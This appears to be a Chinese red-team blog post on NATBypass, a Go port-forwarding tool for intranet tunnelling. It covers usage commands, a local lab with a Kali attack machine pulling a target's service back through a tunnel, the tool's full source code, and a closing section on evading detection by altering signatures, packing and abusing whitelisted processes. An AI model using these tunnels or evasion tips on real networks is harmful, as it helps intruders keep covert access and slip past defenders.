内网隧道之NATBypass
前言
本文研究端口转发的一个工具,NATBypass
github:https://github.com/cw1997/NATBypass
一、概述
1、简介
最后更新于2018年,可认为是lcx在golang下的实现
- 支持跨平台
- 支持TCP
- 优势在于可能不会被查杀
2、原理
服务端监听两个本地端口111、222,客户端建立一个端口转发,比如将本地3389转发到服务端的一个端口111,服务端监听的另一个端口222就相当于客户端的3389,即服务端可以将流量通过端口222传输到客户端
3、用法
代码语言:javascript复制nb -listen port1 port2 # 同时监听port1端口和port2端口,当两个客户端主动连接上这两个监听端口之后,nb负责这两个端口间的数据转发。
nb -tran port1 ip:port2 # 本地开始监听port1端口,当port1端口上接收到来自客户端的主动连接之后,nb将主动连接ip:port2,并且负责port1端口和ip:port2之间的数据转发
nb -slave ip1:port1 ip2:port2 # 本地开始主动连接ip1:port1主机和ip2:port2主机,当连接成功之后,nb负责这两个主机之间的数据转发
nb -log filedirpath #日志,不要使用包含空格以及各种特殊字符的文件路径,可使用Linux下的tail -f命令将转发数据实时显示出来
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
都没有限制TCP连接
2、建立隧道
(1)服务端
监听1111和2222端口
代码语言:javascript复制./nb -listen 1111 2222
(2)客户端
先开启Apache
然后将80端口转发至服务端1111端口
代码语言:javascript复制./nb -slave 127.0.0.1:80 192.168.10.128:1111
(3)成功建立
还可以nc、ssh等,根据端口来确定服务
3、抓包看看
三、探索
1、源码与分析
思想非常简单,就是调用net库,然后将对应IP和端口的信息对接
代码语言:javascript复制package main
import (
"fmt"
"io"
"log"
"net"
"os"
"regexp"
"strconv"
"strings"
"sync"
"time"
)
const timeout = 5
func main() {
//log.SetFlags(log.Ldate | log.Lmicroseconds | log.Lshortfile)
log.SetFlags(log.Ldate | log.Lmicroseconds)
printWelcome()
args := os.Args
argc := len(os.Args)
if argc <= 2 {
printHelp()
os.Exit(0)
}
//TODO:support UDP protocol
/*var logFileError error
if argc > 5 && args[4] == "-log" {
logPath := args[5] "/" time.Now().Format("2006_01_02_15_04_05") // "2006-01-02 15:04:05"
logPath = args[1] "-" strings.Replace(args[2], ":", "_", -1) "-" args[3] ".log"
logPath = strings.Replace(logPath, ``, "/", -1)
logPath = strings.Replace(logPath, "//", "/", -1)
logFile, logFileError = os.OpenFile(logPath, os.O_APPEND|os.O_CREATE, 0666)
if logFileError != nil {
log.Fatalln("[x]", "log file path error.", logFileError.Error())
}
log.Println("[√]", "open test log file success. path:", logPath)
}*/
switch args[1] {
case "-listen":
if argc < 3 {
log.Fatalln(`-listen need two arguments, like "nb -listen 1997 2017".`)
}
port1 := checkPort(args[2])
port2 := checkPort(args[3])
log.Println("[√]", "start to listen port:", port1, "and port:", port2)
port2port(port1, port2)
break
case "-tran":
if argc < 3 {
log.Fatalln(`-tran need two arguments, like "nb -tran 1997 192.168.1.2:3389".`)
}
port := checkPort(args[2])
var remoteAddress string
if checkIp(args[3]) {
remoteAddress = args[3]
}
split := strings.SplitN(remoteAddress, ":", 2)
log.Println("[√]", "start to transmit address:", remoteAddress, "to address:", split[0] ":" port)
port2host(port, remoteAddress)
break
case "-slave":
if argc < 3 {
log.Fatalln(`-slave need two arguments, like "nb -slave 127.0.0.1:3389 8.8.8.8:1997".`)
}
var address1, address2 string
checkIp(args[2])
if checkIp(args[2]) {
address1 = args[2]
}
checkIp(args[3])
if checkIp(args[3]) {
address2 = args[3]
}
log.Println("[√]", "start to connect address:", address1, "and address:", address2)
host2host(address1, address2)
break
default:
printHelp()
}
}
// 作者标签,可删掉
func printWelcome() {
fmt.Println(" ---------------------------------------------------------------- ")
fmt.Println("| Welcome to use NATBypass Ver1.0.0 . |")
fmt.Println("| Code by cw1997 at 2017-10-19 03:59:51 |")
fmt.Println("| If you have some problem when you use the tool, |")
fmt.Println("| please submit issue at : https://github.com/cw1997/NATBypass . |")
fmt.Println(" ---------------------------------------------------------------- ")
fmt.Println()
// sleep one second because the fmt is not thread-safety.
// if not to do this, fmt.Print will print after the log.Print.
time.Sleep(time.Second)
}
func printHelp() {
fmt.Println(`usage: "-listen port1 port2" example: "nb -listen 1997 2017" `)
fmt.Println(` "-tran port1 ip:port2" example: "nb -tran 1997 192.168.1.2:3389" `)
fmt.Println(` "-slave ip1:port1 ip2:port2" example: "nb -slave 127.0.0.1:3389 8.8.8.8:1997" `)
fmt.Println(`============================================================`)
fmt.Println(`optional argument: "-log logpath" . example: "nb -listen 1997 2017 -log d:/nb" `)
fmt.Println(`log filename format: Y_m_d_H_i_s-agrs1-args2-args3.log`)
fmt.Println(`============================================================`)
fmt.Println(`if you want more help, please read "README.md". `)
}
// 确认IP和端口的输入正确
func checkPort(port string) string {
PortNum, err := strconv.Atoi(port)
if err != nil {
log.Fatalln("[x]", "port should be a number")
}
if PortNum < 1 || PortNum > 65535 {
log.Fatalln("[x]", "port should be a number and the range is [1,65536)")
}
return port
}
func checkIp(address string) bool {
ipAndPort := strings.Split(address, ":")
if len(ipAndPort) != 2 {
log.Fatalln("[x]", "address error. should be a string like [ip:port]. ")
}
ip := ipAndPort[0]
port := ipAndPort[1]
checkPort(port)
pattern := `^(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5])$`
ok, err := regexp.MatchString(pattern, ip)
if err != nil || !ok {
log.Fatalln("[x]", "ip error. ")
}
return ok
}
func port2port(port1 string, port2 string) {
listen1 := start_server("0.0.0.0:" port1)
listen2 := start_server("0.0.0.0:" port2)
log.Println("[√]", "listen port:", port1, "and", port2, "success. waiting for client...")
for {
conn1 := accept(listen1)
conn2 := accept(listen2)
if conn1 == nil || conn2 == nil {
log.Println("[x]", "accept client faild. retry in ", timeout, " seconds. ")
time.Sleep(timeout * time.Second)
continue
}
forward(conn1, conn2)
}
}
func port2host(allowPort string, targetAddress string) {
server := start_server("0.0.0.0:" allowPort)
for {
conn := accept(server)
if conn == nil {
continue
}
//println(targetAddress)
go func(targetAddress string) {
log.Println("[ ]", "start connect host:[" targetAddress "]")
target, err := net.Dial("tcp", targetAddress)
if err != nil {
// temporarily unavailable, don't use fatal.
log.Println("[x]", "connect target address [" targetAddress "] faild. retry in ", timeout, "seconds. ")
conn.Close()
log.Println("[←]", "close the connect at local:[" conn.LocalAddr().String() "] and remote:[" conn.RemoteAddr().String() "]")
time.Sleep(timeout * time.Second)
return
}
log.Println("[→]", "connect target address [" targetAddress "] success.")
forward(target, conn)
}(targetAddress)
}
}
func host2host(address1, address2 string) {
for {
log.Println("[ ]", "try to connect host:[" address1 "] and [" address2 "]")
var host1, host2 net.Conn
var err error
for {
host1, err = net.Dial("tcp", address1)
if err == nil {
log.Println("[→]", "connect [" address1 "] success.")
break
} else {
log.Println("[x]", "connect target address [" address1 "] faild. retry in ", timeout, " seconds. ")
time.Sleep(timeout * time.Second)
}
}
for {
host2, err = net.Dial("tcp", address2)
if err == nil {
log.Println("[→]", "connect [" address2 "] success.")
break
} else {
log.Println("[x]", "connect target address [" address2 "] faild. retry in ", timeout, " seconds. ")
time.Sleep(timeout * time.Second)
}
}
forward(host1, host2)
}
}
func start_server(address string) net.Listener {
log.Println("[ ]", "try to start server on:[" address "]")
server, err := net.Listen("tcp", address)
if err != nil {
log.Fatalln("[x]", "listen address [" address "] faild.")
}
log.Println("[√]", "start listen at address:[" address "]")
return server
/*defer server.Close()
for {
conn, err := server.Accept()
log.Println("accept a new client. remote address:[" conn.RemoteAddr().String()
"], local address:[" conn.LocalAddr().String() "]")
if err != nil {
log.Println("accept a new client faild.", err.Error())
continue
}
//go recvConnMsg(conn)
}*/
}
// 传输数据
func accept(listener net.Listener) net.Conn {
conn, err := listener.Accept()
if err != nil {
log.Println("[x]", "accept connect [" conn.RemoteAddr().String() "] faild.", err.Error())
return nil
}
log.Println("[√]", "accept a new client. remote address:[" conn.RemoteAddr().String() "], local address:[" conn.LocalAddr().String() "]")
return conn
}
func forward(conn1 net.Conn, conn2 net.Conn) {
log.Printf("[ ] start transmit. [%s],[%s] <-> [%s],[%s] n", conn1.LocalAddr().String(), conn1.RemoteAddr().String(), conn2.LocalAddr().String(), conn2.RemoteAddr().String())
var wg sync.WaitGroup
// wait tow goroutines
wg.Add(2)
go connCopy(conn1, conn2, &wg)
go connCopy(conn2, conn1, &wg)
//blocking when the wg is locked
wg.Wait()
}
// 记录log
func connCopy(conn1 net.Conn, conn2 net.Conn, wg *sync.WaitGroup) {
//TODO:log, record the data from conn1 and conn2.
logFile := openLog(conn1.LocalAddr().String(), conn1.RemoteAddr().String(), conn2.LocalAddr().String(), conn2.RemoteAddr().String())
if logFile != nil {
w := io.MultiWriter(conn1, logFile)
io.Copy(w, conn2)
} else {
io.Copy(conn1, conn2)
}
conn1.Close()
log.Println("[←]", "close the connect at local:[" conn1.LocalAddr().String() "] and remote:[" conn1.RemoteAddr().String() "]")
//conn2.Close()
//log.Println("[←]", "close the connect at local:[" conn2.LocalAddr().String() "] and remote:[" conn2.RemoteAddr().String() "]")
wg.Done()
}
func openLog(address1, address2, address3, address4 string) *os.File {
args := os.Args
argc := len(os.Args)
var logFileError error
var logFile *os.File
if argc > 5 && args[4] == "-log" {
address1 = strings.Replace(address1, ":", "_", -1)
address2 = strings.Replace(address2, ":", "_", -1)
address3 = strings.Replace(address3, ":", "_", -1)
address4 = strings.Replace(address4, ":", "_", -1)
timeStr := time.Now().Format("2006_01_02_15_04_05") // "2006-01-02 15:04:05"
logPath := args[5] "/" timeStr args[1] "-" address1 "_" address2 "-" address3 "_" address4 ".log"
logPath = strings.Replace(logPath, ``, "/", -1)
logPath = strings.Replace(logPath, "//", "/", -1)
logFile, logFileError = os.OpenFile(logPath, os.O_APPEND|os.O_CREATE, 0666)
if logFileError != nil {
log.Fatalln("[x]", "log file path error.", logFileError.Error())
}
log.Println("[√]", "open test log file success. path:", logPath)
}
return logFile
}
2、检测与绕过
(1)特征字符串和特征码
命令和log里的特征字符串可以作为检测特征
然后是代码里的特征码,类似lcx的查杀会定位hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
绕过方法:修改掉相应的特征
(2)端口控制
这类端口转发的工具,如果端口限制死就失去作用了
绕过方法:无
(3)进程和库调用
通过终端的进程链控制和第三方库的调用情况在做检测
绕过方法:白进程利用,尽可能不调用库,加壳,主要是木马免杀那套
结语
就是端口转发,只不过可能因为用Go写,又比较新,所以查杀方面还没跟上
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。